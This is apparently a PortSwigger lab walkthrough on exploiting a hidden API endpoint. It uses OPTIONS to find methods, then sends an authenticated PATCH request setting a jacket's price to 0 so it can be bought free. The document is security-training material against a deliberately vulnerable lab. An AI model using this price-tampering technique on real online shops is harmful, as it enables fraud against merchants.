PortSwigger

Lab Description
To solve the lab, exploit a hidden API endpoint to buy a Lightweight “l33t” Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.
Step 1: Discover the API Endpoint
- In Burp’s browser, access the lab
- Click on a product
- In Burp Proxy, find the API request:
GET /api/products/1/price HTTP/1.1
- Send it to Repeater

Step 2: Discover Supported Methods
Change method to OPTIONS:
OPTIONS /api/products/1/price HTTP/1.1

Response:
Allow: GET, PATCH

- The endpoint supports
GETandPATCHmethods.
Step 3: Test PATCH (Unauthenticated)
Change method to PATCH:
PATCH /api/products/1/price HTTP/1.1

Response: 401 Unauthorized

Authentication is required.
Step 4: Log In
- Log in as
wiener:peter - Navigate to the leather jacket product page
- Capture the
GET /api/products/1/pricerequest - Send it to Repeater

Step 5: Send PATCH Request
Change method to PATCH:
PATCH /api/products/1/price HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR_SESSION
Response: Invalid Content-Type (expected application/json).

Step 6: Add Content-Type Header
PATCH /api/products/1/price HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR_SESSION
Content-Type: application/json
{}

Response: Missing price parameter error.

Step 7: Set Price to 0
PATCH /api/products/1/price HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR_SESSION
Content-Type: application/json
{"price": 0}

Response: 200 OK

Step 8: Buy the Jacket
- In Burp’s browser, reload the product page
- The price is now
$0.00 - Add the jacket to your basket
- Click Place order

Step 9: Lab Solved
